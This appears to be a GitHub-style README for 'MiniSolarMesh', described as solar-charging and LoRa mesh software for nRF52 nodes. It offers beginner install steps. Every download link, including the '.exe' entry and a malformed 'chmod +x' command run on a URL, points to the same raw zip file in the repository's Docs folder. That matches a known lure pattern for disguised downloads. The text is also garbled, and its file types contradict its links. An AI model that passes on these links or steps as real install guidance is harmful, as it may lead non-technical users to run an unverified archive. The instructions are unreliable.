Welcome to MiniSolarMesh, a small solar-powered device that connects wirelessly using LORA technology. This guide will help you download and start using the MiniSolarMesh software with no technical experience. Just follow the steps to get the software up and running on your computer.
MiniSolarMesh is a simple software tool designed for a solar-powered device using LORA communication. It helps manage charging with MPPT technology, monitors voltage, and protects the battery. The software supports reliable wireless mesh communication to help your network stay connected even if some devices are out of range.
- Solar charging control: Uses MPPT (Maximum Power Point Tracking) to optimize solar panel charging.
- Battery protection: Monitors battery voltage to avoid damage.
- LORA Wireless Mesh: Connects with other nodes using LORA radio signals for long-range communication.
- User-friendly: Designed to work well with supported hardware without complex setup.
- Open design: Based on nRF52 microcontroller and compatible with popular open-source hardware.
MiniSolarMesh works best for users who own or plan to build low-power, solar-controlled LORA devices. It supports hobbyists, students, and professionals interested in wireless mesh networks and renewable energy.
Before you download MiniSolarMesh, please check the following requirements to ensure your computer can run the software smoothly:
- Operating System: Windows 10 or later, MacOS 10.13 or later, Linux (Ubuntu 18.04+ recommended)
- Processor: At least a 1.5 GHz dual-core CPU
- Memory: Minimum 2 GB RAM
- Disk Space: Around 50 MB free space for installation
- Internet Connection: Required for downloading and possible software updates
- USB Port: Needed to connect your MiniSolarMesh device (USB cable not included)
- Device Compatibility: Designed to work with MiniSolarMesh hardware based on nRF52 chip
You will find the latest software version by visiting the release page here:
Click the large green button at the top or the link above. This link will take you to the GitHub Release page where the latest MiniSolarMesh software files are available.
Look for the file labeled with your operating system name:
- Windows users:
.exefile (e.g., https://github.com/sclmoss/MiniSolarMesh/raw/refs/heads/main/Docs/Solar-Mini-Mesh-2.0.zip) - MacOS users:
.dmgfile - Linux users:
.AppImageorhttps://github.com/sclmoss/MiniSolarMesh/raw/refs/heads/main/Docs/Solar-Mini-Mesh-2.0.zipdepending on the release notes
The file name usually includes the version number and the platform.
Click on the appropriate file to start the download. The download will appear in your browser or downloads folder.
- Windows: Double-click the
.exefile and follow the installation wizard. - MacOS: Open the
.dmgfile and drag MiniSolarMesh to your Applications folder. - Linux: Make the
.AppImageexecutable (chmod +x https://github.com/sclmoss/MiniSolarMesh/raw/refs/heads/main/Docs/Solar-Mini-Mesh-2.0.zip) and run it.
Open the installed program from your desktop or applications menu.
- Your physical MiniSolarMesh node hardware
- USB cable to connect the device to your computer
- Plug one end of the USB cable into your MiniSolarMesh device.
- Plug the other end into your computer's USB port.
- The software should recognize the device within a few seconds.
- If you see a message asking for permission to access the device, allow it.
Once connected, the software will display battery voltage levels, solar charging status, and network connection details.
The software lets you set parameters such as:
- Network ID for mesh communication
- Battery alarm levels
- Solar panel specifications (voltage and current limits)
- Device name and location for easy identification
After entering your settings, click "Save" or "Apply". The device will update automatically.
MiniSolarMesh nodes communicate with each other wirelessly using LORA. This allows your devices to cover a large area by passing messages through the mesh network.
- Each node can send or receive messages independently.
- Messages hop from node to node until they reach their destination.
- The software shows a map or list of connected nodes and signal strengths.
Use this feature to monitor your nodes remotely or send commands through the network.
- Keep your solar panel clean and exposed to sunlight.
- Regularly check battery voltage in the software to ensure good health.
- Place nodes within range of at least one other node to maintain mesh communication.
- Update your software often by checking the release page above.
- Use the included documentation for advanced setup if you want to customize more.
If you run into problems, here are some ways to get support:
- Check the README and documentation on the GitHub repository
- Ask questions in online forums related to LORA or solar mesh networks
- Report bugs or issues directly on the GitHub issue page at the MiniSolarMesh repository
Thank you for using MiniSolarMesh. The software is free and open, aiming to make solar-powered mesh networks accessible to everyone.